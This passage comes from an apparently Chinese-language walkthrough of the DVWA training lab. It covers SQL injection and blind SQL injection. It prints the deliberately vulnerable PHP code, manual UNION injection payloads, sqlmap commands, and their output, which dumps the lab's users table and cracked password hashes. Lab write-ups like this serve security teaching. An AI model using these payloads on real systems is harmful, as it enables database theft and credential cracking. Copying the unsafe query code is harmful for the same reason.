        }
    
    }
    
    // This is used later on in the index.php page
    // Setting it here so we can close the database connection in here like in the rest of the source scripts
    $query  = "SELECT COUNT(*) FROM users;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    $number_of_rows = mysqli_fetch_row( $result )[0];
    
    mysqli_close($GLOBALS["___mysqli_ston"]);
    ?> 
    

    对id进行了转义,不能出现单引号,但是是数字型注入。页面采用了下拉选择表单,我们需要通过Burpsuite来修改参数:


    Screenshot-2018-3-14 Vulnerability SQL Injection Damn Vulnerable Web Application (DVWA) v1 10 Development .png-32.9kBScreenshot-2018-3-14 Vulnerability SQL Injection Damn Vulnerable Web Application (DVWA) v1 10 Development .png-32.9kB

    手工注入:


    tyeww.png-132.5kBtyeww.png-132.5kB
    1 and 1=1 -- -
    1 and 1=2 -- -
    1 order by 2 -- -
    1 union select 1,2 -- - 
    1 union select database(),2 -- - 
    1 union select table_name,2 from information_schema.tables where table_schema=database() -- - 
    1 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users' -- -  #单引号被转义了,不行
    1 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name=0x7573657273 -- -   #采用十六进制绕过
    1 union select concat_ws(0x7c,user_id,user,password),2 from users -- -
    
    

    sqlmap注入:

    root@kali:~# sqlmap -u http://192.168.0.115/dvwa/vulnerabilities/sqli/#  --data='id=1&Submit=Submit' --cookie='security=medium; PHPSESSID=as94j6ostr2dnu3utbaeo264j7' -D dvwa -T users  --dump
            ___
           __H__
     ___ ___[,]_____ ___ ___  {1.1.11#stable}
    |_ -| . [.]     | .'| . |
    |___|_  ["]_|_|_|__,|  _|
          |_|V          |_|   http://sqlmap.org
    
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    
    [*] starting at 23:56:15
    
    [23:56:15] [INFO] resuming back-end DBMS 'mysql' 
    [23:56:15] [INFO] testing connection to the target URL
    sqlmap resumed the following injection point(s) from stored session:
    ---
    Parameter: id (POST)
        Type: boolean-based blind
        Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
        Payload: id=1 OR NOT 4916=4916#&Submit=Submit
    
        Type: error-based
        Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
        Payload: id=1 AND (SELECT 4992 FROM(SELECT COUNT(*),CONCAT(0x7176716271,(SELECT (ELT(4992=4992,1))),0x7170717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&Submit=Submit
    
        Type: AND/OR time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind
        Payload: id=1 AND SLEEP(5)&Submit=Submit
    
        Type: UNION query
        Title: Generic UNION query (NULL) - 2 columns
        Payload: id=1 UNION ALL SELECT CONCAT(0x7176716271,0x516d75706e584d6f5564616b485969647a6b72586a6a646446486e5470514e66596b49566c4e4570,0x7170717171),NULL-- qzzF&Submit=Submit
    ---
    [23:56:15] [INFO] the back-end DBMS is MySQL
    web server operating system: Windows
    web application technology: Apache 2.4.9, PHP 5.5.12
    back-end DBMS: MySQL >= 5.0
    [23:56:15] [INFO] fetching columns for table 'users' in database 'dvwa'
    [23:56:15] [INFO] fetching entries for table 'users' in database 'dvwa'
    [23:56:15] [INFO] recognized possible password hashes in column 'password'
    do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
    do you want to crack them via a dictionary-based attack? [Y/n/q] 
    [23:56:16] [INFO] using hash method 'md5_generic_passwd'
    [23:56:16] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
    [23:56:16] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
    [23:56:16] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
    [23:56:16] [INFO] resuming password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3'
    [23:56:16] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
    Database: dvwa
    Table: users
    [5 entries]
    +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
    | user_id | avatar                                           | user    | password                                    | last_name | first_name | last_login          | failed_login |
    +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
    | 1       | http://127.0.0.1/dvwa/hackable/users/admin.jpg   | admin   | 21232f297a57a5a743894a0e4a801fc3 (admin)    | admin     | admin      | 2018-03-13 10:53:08 | 0            |
    | 2       | http://127.0.0.1/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2018-03-08 22:33:32 | 0            |
    | 3       | http://127.0.0.1/dvwa/hackable/users/1337.jpg    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2018-03-08 22:33:32 | 0            |
    | 4       | http://127.0.0.1/dvwa/hackable/users/pablo.jpg   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2018-03-08 22:33:32 | 0            |
    | 5       | http://127.0.0.1/dvwa/hackable/users/smithy.jpg  | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2018-03-08 22:33:32 | 0            |
    +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
    
    [23:56:16] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.0.115/dump/dvwa/users.csv'
    [23:56:16] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115'
    
    [*] shutting down at 23:56:16
    

    8.3 High

    代码:

    <?php
    
    if( isset( $_SESSION [ 'id' ] ) ) {
        // Get input
        $id = $_SESSION[ 'id' ];
    
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; #限制输出的行数只能是一行
        $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
    
        // Get results
        while( $row = mysqli_fetch_assoc( $result ) ) {
            // Get values
            $first = $row["first_name"];
            $last  = $row["last_name"];
    
            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
    }
    
    ?> 
    

    1.字符型注入,添加了limit 1 来限制输出的行数只能是一行,但是可以利用注释符-- -limit 1给注释掉;
    2.而且利用另外一个页面来提交表单,提交页面和结果显示页面分开是为了防止一般的sqlmap注入,sqlmap注入不能在当前页面得到反馈信息,就无法进行注入,所以要采用二阶sql注入: –second-order=URL 返回结果的url,这样就可以;
    sqlmap注入:

    root@kali:~# sqlmap -u http://192.168.0.115/dvwa/vulnerabilities/sqli/session-input.php# --second-order=http://192.168.0.115/dvwa/vulnerabilities/sqli/ --data='id=1&Submit=Submit' --cookie='security=high; PHPSESSID=as94j6ostr2dnu3utbaeo264j7' --dbs --current-user
            ___
           __H__
     ___ ___[']_____ ___ ___  {1.1.11#stable}
    |_ -| . [']     | .'| . |
    |___|_  [']_|_|_|__,|  _|
          |_|V          |_|   http://sqlmap.org
    
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    
    [*] starting at 23:46:46
    
    [23:46:46] [INFO] resuming back-end DBMS 'mysql' 
    [23:46:46] [INFO] testing connection to the target URL
    sqlmap resumed the following injection point(s) from stored session:
    ---
    Parameter: id (POST)
        Type: AND/OR time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind
        Payload: id=1' AND SLEEP(5) AND 'RtUm'='RtUm&Submit=Submit
    
        Type: UNION query
        Title: Generic UNION query (NULL) - 2 columns
        Payload: id=1' UNION ALL SELECT CONCAT(0x7176627671,0x794a667358656d56664b754f4c50734c6d47766d44636d5269505841706d756a6f6a427473784970,0x717a6b6b71),NULL-- Siup&Submit=Submit
    ---
    [23:46:46] [INFO] the back-end DBMS is MySQL
    web server operating system: Windows
    web application technology: Apache 2.4.9, PHP 5.5.12
    back-end DBMS: MySQL >= 5.0.12
    [23:46:46] [INFO] fetching current user
    current user:    'root@localhost'
    [23:46:46] [INFO] fetching database names
    available databases [7]:
    [*] dvwa
    [*] information_schema
    [*] mysql
    [*] performance_schema
    [*] sakila
    [*] sys
    [*] world
    
    [23:46:46] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115'
    
    [*] shutting down at 23:46:46
    
    root@kali:~# sqlmap -u http://192.168.0.115/dvwa/vulnerabilities/sqli/session-input.php# --second-order=http://192.168.0.115/dvwa/vulnerabilities/sqli/ --data='id=1&Submit=Submit' --cookie='security=high; PHPSESSID=as94j6ostr2dnu3utbaeo264j7' -D dvwa -T users  --dump
            ___
           __H__
     ___ ___[.]_____ ___ ___  {1.1.11#stable}
    |_ -| . [']     | .'| . |
    |___|_  [(]_|_|_|__,|  _|
          |_|V          |_|   http://sqlmap.org
    
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    
    [*] starting at 23:53:29
    
    [23:53:29] [INFO] resuming back-end DBMS 'mysql' 
    [23:53:29] [INFO] testing connection to the target URL
    sqlmap resumed the following injection point(s) from stored session:
    ---
    Parameter: id (POST)
        Type: AND/OR time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind
        Payload: id=1' AND SLEEP(5) AND 'RtUm'='RtUm&Submit=Submit
    
        Type: UNION query
        Title: Generic UNION query (NULL) - 2 columns
        Payload: id=1' UNION ALL SELECT CONCAT(0x7176627671,0x794a667358656d56664b754f4c50734c6d47766d44636d5269505841706d756a6f6a427473784970,0x717a6b6b71),NULL-- Siup&Submit=Submit
    ---
    [23:53:29] [INFO] the back-end DBMS is MySQL
    web server operating system: Windows
    web application technology: Apache 2.4.9, PHP 5.5.12
    back-end DBMS: MySQL >= 5.0.12
    [23:53:29] [INFO] fetching columns for table 'users' in database 'dvwa'
    [23:53:29] [INFO] fetching entries for table 'users' in database 'dvwa'
    [23:53:29] [INFO] recognized possible password hashes in column 'password'
    do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
    do you want to crack them via a dictionary-based attack? [Y/n/q] 
    [23:53:30] [INFO] using hash method 'md5_generic_passwd'
    [23:53:30] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
    [23:53:30] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
    [23:53:30] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
    [23:53:30] [INFO] resuming password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3'
    [23:53:30] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
    Database: dvwa
    Table: users
    [5 entries]
    +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
    | user_id | avatar                                           | user    | password                                    | last_name | first_name | last_login          | failed_login |
    +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
    | 1       | http://127.0.0.1/dvwa/hackable/users/admin.jpg   | admin   | 21232f297a57a5a743894a0e4a801fc3 (admin)    | admin     | admin      | 2018-03-13 10:53:08 | 0            |
    | 2       | http://127.0.0.1/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2018-03-08 22:33:32 | 0            |
    | 3       | http://127.0.0.1/dvwa/hackable/users/1337.jpg    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2018-03-08 22:33:32 | 0            |
    | 4       | http://127.0.0.1/dvwa/hackable/users/pablo.jpg   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2018-03-08 22:33:32 | 0            |
    | 5       | http://127.0.0.1/dvwa/hackable/users/smithy.jpg  | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2018-03-08 22:33:32 | 0            |
    +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
    
    [23:53:30] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.0.115/dump/dvwa/users.csv'
    [23:53:30] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115'
    
    [*] shutting down at 23:53:30
    
    
    

    手工注入:

    1' and 1=1 -- - 
    1' and 1=2 -- -
    1' order by 2 -- -
    1' union select 1,2 -- - 
    1' union select database(),2 -- - 
    1' union select table_name,2 from information_schema.tables where table_schema=database() -- - 
    1' union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users' -- -
    1' union select concat_ws(0x7c,user_id,user,password),2 from users -- -
    

    8.4 Impossible

    代码:

    <?php
    
    if( isset( $_GET[ 'Submit' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $id = $_GET[ 'id' ];
    
        // Was a number entered?
        if(is_numeric( $id )) {
            // Check the database
            $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
            $data->bindParam( ':id', $id, PDO::PARAM_INT );
            $data->execute();
            $row = $data->fetch();
    
            // Make sure only 1 result is returned
            if( $data->rowCount() == 1 ) {
                // Get values
                $first = $row[ 'first_name' ];
                $last  = $row[ 'last_name' ];
    
                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    

    1.加入了token验证,防止csrf攻击;
    2.PDO技术,防止sql注入;
    3.当返回的查询数据为1时才能成功输出,防止拖库。

    9. SQL Injection (Blind)

    sql盲注指的是sql语句执行之后,在数据库中查询的数据不能显示到页面中。而一般注入可以在页面中看到sql语句执行之后的内容。

    9.1 Low

    代码:

    <?php
    
    if( isset( $_GET[ 'Submit' ] ) ) {
        // Get input
        $id = $_GET[ 'id' ];
    
        // Check database
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors
    
        // Get results
        $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
        if( $num > 0 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
    
            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?> 
    

    GET方法提交。
    sqlmap注入:

    root@kali:~# sqlmap -u "http://192.168.0.115/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=as94j6ostr2dnu3utbaeo264j7' -D dvwa -T users --dump
            ___
           __H__
     ___ ___[,]_____ ___ ___  {1.1.11#stable}
    |_ -| . [,]     | .'| . |
    |___|_  [)]_|_|_|__,|  _|
          |_|V          |_|   http://sqlmap.org
    
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    
    [*] starting at 00:30:41
    
    [00:30:41] [INFO] resuming back-end DBMS 'mysql' 
    [00:30:41] [INFO] testing connection to the target URL
    sqlmap resumed the following injection point(s) from stored session:
    ---
    Parameter: id (GET)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: id=1' AND 8728=8728 AND 'fPGD'='fPGD&Submit=Submit
    
        Type: error-based
        Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
        Payload: id=1' OR (SELECT 1065 FROM(SELECT COUNT(*),CONCAT(0x7162707171,(SELECT (ELT(1065=1065,1))),0x7170767671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'pKHC'='pKHC&Submit=Submit
    
        Type: AND/OR time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind
        Payload: id=1' AND SLEEP(5) AND 'gHyN'='gHyN&Submit=Submit
    ---
    [00:30:41] [INFO] the back-end DBMS is MySQL
    web server operating system: Windows
    web application technology: Apache 2.4.9, PHP 5.5.12
    back-end DBMS: MySQL >= 5.0
    [00:30:41] [INFO] fetching columns for table 'users' in database 'dvwa'
    [00:30:41] [INFO] the SQL query used returns 8 entries
    [00:30:41] [INFO] resumed: user_id
    [00:30:41] [INFO] resumed: int(6)
    [00:30:41] [INFO] resumed: first_name
    [00:30:41] [INFO] resumed: varchar(15)
    [00:30:41] [INFO] resumed: last_name
    [00:30:41] [INFO] resumed: varchar(15)
    [00:30:41] [INFO] resumed: user
    [00:30:41] [INFO] resumed: varchar(15)
    [00:30:41] [INFO] resumed: password
    [00:30:41] [INFO] resumed: varchar(32)
    [00:30:41] [INFO] resumed: avatar
    [00:30:41] [INFO] resumed: varchar(70)
    [00:30:41] [INFO] resumed: last_login
    [00:30:41] [INFO] resumed: timestamp
    [00:30:41] [INFO] resumed: failed_login
    [00:30:41] [INFO] resumed: int(3)
    [00:30:41] [INFO] fetching entries for table 'users' in database 'dvwa'
    [00:30:41] [INFO] the SQL query used returns 5 entries
    [00:30:41] [INFO] resumed: admin
    [00:30:41] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/admin.jpg
    [00:30:41] [INFO] resumed: 0
    [00:30:41] [INFO] resumed: admin
    [00:30:41] [INFO] resumed: 2018-03-13 10:53:08
    [00:30:41] [INFO] resumed: admin
    [00:30:41] [INFO] resumed: 21232f297a57a5a743894a0e4a801fc3
    [00:30:41] [INFO] resumed: 1
    [00:30:41] [INFO] resumed: gordonb
    [00:30:41] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/gordonb.jpg
    [00:30:41] [INFO] resumed: 0
    [00:30:41] [INFO] resumed: Gordon
    [00:30:41] [INFO] resumed: 2018-03-08 22:33:32
    [00:30:41] [INFO] resumed: Brown
    [00:30:41] [INFO] resumed: e99a18c428cb38d5f260853678922e03
    [00:30:41] [INFO] resumed: 2
    [00:30:41] [INFO] resumed: 1337
    [00:30:41] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/1337.jpg
    [00:30:41] [INFO] resumed: 0
    [00:30:41] [INFO] resumed: Hack
    [00:30:41] [INFO] resumed: 2018-03-08 22:33:32
    [00:30:41] [INFO] resumed: Me
    [00:30:41] [INFO] resumed: 8d3533d75ae2c3966d7e0d4fcc69216b
    [00:30:41] [INFO] resumed: 3
    [00:30:41] [INFO] resumed: pablo
    [00:30:41] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/pablo.jpg
    [00:30:41] [INFO] resumed: 0
    [00:30:41] [INFO] resumed: Pablo
    [00:30:41] [INFO] resumed: 2018-03-08 22:33:32
    [00:30:41] [INFO] resumed: Picasso
    [00:30:41] [INFO] resumed: 0d107d09f5bbe40cade3de5c71e9e9b7
    [00:30:41] [INFO] resumed: 4
    [00:30:41] [INFO] resumed: smithy
    [00:30:41] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/smithy.jpg
    [00:30:41] [INFO] resumed: 0
    [00:30:41] [INFO] resumed: Bob
    [00:30:41] [INFO] resumed: 2018-03-08 22:33:32
    [00:30:41] [INFO] resumed: Smith
    [00:30:41] [INFO] resumed: 5f4dcc3b5aa765d61d8327deb882cf99
    [00:30:41] [INFO] resumed: 5
    [00:30:41] [INFO] recognized possible password hashes in column 'password'
    do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
    do you want to crack them via a dictionary-based attack? [Y/n/q] 
    [00:30:42] [INFO] using hash method 'md5_generic_passwd'
    [00:30:42] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
    [00:30:42] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
    [00:30:42] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
    [00:30:42] [INFO] resuming password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3'
    [00:30:42] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
    Database: dvwa
    Table: users
    [5 entries]
    +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
    | user_id | avatar                                           | user    | password                                    | last_name | first_name | last_login          | failed_login |
    +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
    | 1       | http://127.0.0.1/dvwa/hackable/users/admin.jpg   | admin   | 21232f297a57a5a743894a0e4a801fc3 (admin)    | admin     | admin      | 2018-03-13 10:53:08 | 0            |
    | 2       | http://127.0.0.1/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2018-03-08 22:33:32 | 0            |
    | 3       | http://127.0.0.1/dvwa/hackable/users/1337.jpg    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2018-03-08 22:33:32 | 0            |
    | 4       | http://127.0.0.1/dvwa/hackable/users/pablo.jpg   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2018-03-08 22:33:32 | 0            |
    | 5       | http://127.0.0.1/dvwa/hackable/users/smithy.jpg  | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2018-03-08 22:33:32 | 0            |
    +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
    
    [00:30:42] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.0.115/dump/dvwa/users.csv'
    [00:30:42] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115'
    
    [*] shutting down at 00:30:42
    
    

    9.2 Medium

    代码:

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $id = $_POST[ 'id' ];
        $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Check database
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors
    
        // Get results
        $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
        if( $num > 0 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    
        //mysql_close();
    }
    
    ?> 
    

    POST方法提交表单。
    sqlmap注入:

    root@kali:~# sqlmap -u "http://192.168.0.115/dvwa/vulnerabilities/sqli_blind/#" --cookie="security=medium; PHPSESSID=as94j6ostr2dnu3utbaeo264j7" --data="id=1&Submit=Submit" -D dvwa -T users --dump
            ___
           __H__
     ___ ___[)]_____ ___ ___  {1.1.11#stable}
    |_ -| . [.]     | .'| . |
    |___|_  [.]_|_|_|__,|  _|
          |_|V          |_|   http://sqlmap.org
    
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    
    [*] starting at 00:41:00
    
    [00:41:01] [INFO] resuming back-end DBMS 'mysql' 
    [00:41:01] [INFO] testing connection to the target URL
    sqlmap resumed the following injection point(s) from stored session:
    ---
    Parameter: id (POST)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: id=1 AND 9986=9986&Submit=Submit
    
        Type: error-based
        Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
        Payload: id=(SELECT 5655 FROM(SELECT COUNT(*),CONCAT(0x7162707171,(SELECT (ELT(5655=5655,1))),0x7170767671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&Submit=Submit
    ---
    [00:41:01] [INFO] the back-end DBMS is MySQL
    web server operating system: Windows
    web application technology: Apache 2.4.9, PHP 5.5.12
    back-end DBMS: MySQL >= 5.0
    [00:41:01] [INFO] fetching columns for table 'users' in database 'dvwa'
    [00:41:01] [INFO] the SQL query used returns 8 entries
    [00:41:01] [INFO] resumed: user_id
    [00:41:01] [INFO] resumed: int(6)
    [00:41:01] [INFO] resumed: first_name
    [00:41:01] [INFO] resumed: varchar(15)
    [00:41:01] [INFO] resumed: last_name
    [00:41:01] [INFO] resumed: varchar(15)
    [00:41:01] [INFO] resumed: user
    [00:41:01] [INFO] resumed: varchar(15)
    [00:41:01] [INFO] resumed: password
    [00:41:01] [INFO] resumed: varchar(32)
    [00:41:01] [INFO] resumed: avatar
    [00:41:01] [INFO] resumed: varchar(70)
    [00:41:01] [INFO] resumed: last_login
    [00:41:01] [INFO] resumed: timestamp
    [00:41:01] [INFO] resumed: failed_login
    [00:41:01] [INFO] resumed: int(3)
    [00:41:01] [INFO] fetching entries for table 'users' in database 'dvwa'
    [00:41:01] [INFO] the SQL query used returns 5 entries
    [00:41:01] [INFO] resumed: admin
    [00:41:01] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/admin.jpg
    [00:41:01] [INFO] resumed: 0
    [00:41:01] [INFO] resumed: admin
    [00:41:01] [INFO] resumed: 2018-03-13 10:53:08
    [00:41:01] [INFO] resumed: admin
    [00:41:01] [INFO] resumed: 21232f297a57a5a743894a0e4a801fc3
    [00:41:01] [INFO] resumed: 1
    [00:41:01] [INFO] resumed: gordonb
    [00:41:01] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/gordonb.jpg
    [00:41:01] [INFO] resumed: 0
    [00:41:01] [INFO] resumed: Gordon
    [00:41:01] [INFO] resumed: 2018-03-08 22:33:32
    [00:41:01] [INFO] resumed: Brown
    [00:41:01] [INFO] resumed: e99a18c428cb38d5f260853678922e03
    [00:41:01] [INFO] resumed: 2
    [00:41:01] [INFO] resumed: 1337
    [00:41:01] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/1337.jpg
    [00:41:01] [INFO] resumed: 0
    [00:41:01] [INFO] resumed: Hack
    [00:41:01] [INFO] resumed: 2018-03-08 22:33:32
    [00:41:01] [INFO] resumed: Me
    [00:41:01] [INFO] resumed: 8d3533d75ae2c3966d7e0d4fcc69216b
    [00:41:01] [INFO] resumed: 3
    [00:41:01] [INFO] resumed: pablo
    [00:41:01] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/pablo.jpg
    [00:41:01] [INFO] resumed: 0
    [00:41:01] [INFO] resumed: Pablo
    [00:41:01] [INFO] resumed: 2018-03-08 22:33:32
    [00:41:01] [INFO] resumed: Picasso
    [00:41:01] [INFO] resumed: 0d107d09f5bbe40cade3de5c71e9e9b7
    [00:41:01] [INFO] resumed: 4
    [00:41:01] [INFO] resumed: smithy
    [00:41:01] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/smithy.jpg
    [00:41:01] [INFO] resumed: 0
    [00:41:01] [INFO] resumed: Bob
    [00:41:01] [INFO] resumed: 2018-03-08 22:33:32
    [00:41:01] [INFO] resumed: Smith
    [00:41:01] [INFO] resumed: 5f4dcc3b5aa765d61d8327deb882cf99
    [00:41:01] [INFO] resumed: 5
    [00:41:01] [INFO] recognized possible password hashes in column 'password'
    do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
    do you want to crack them via a dictionary-based attack? [Y/n/q] 
    [00:41:03] [INFO] using hash method 'md5_generic_passwd'
    [00:41:03] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
    [00:41:03] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
    [00:41:03] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
    [00:41:03] [INFO] resuming password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3'
    [00:41:03] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
    Database: dvwa
    Table: users
    [5 entries]
    +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
    | user_id | avatar                                           | user    | password                                    | last_name | first_name | last_login          | failed_login |
    +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
    | 1       | http://127.0.0.1/dvwa/hackable/users/admin.jpg   | admin   | 21232f297a57a5a743894a0e4a801fc3 (admin)    | admin     | admin      | 2018-03-13 10:53:08 | 0            |
    | 2       | http://127.0.0.1/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2018-03-08 22:33:32 | 0            |
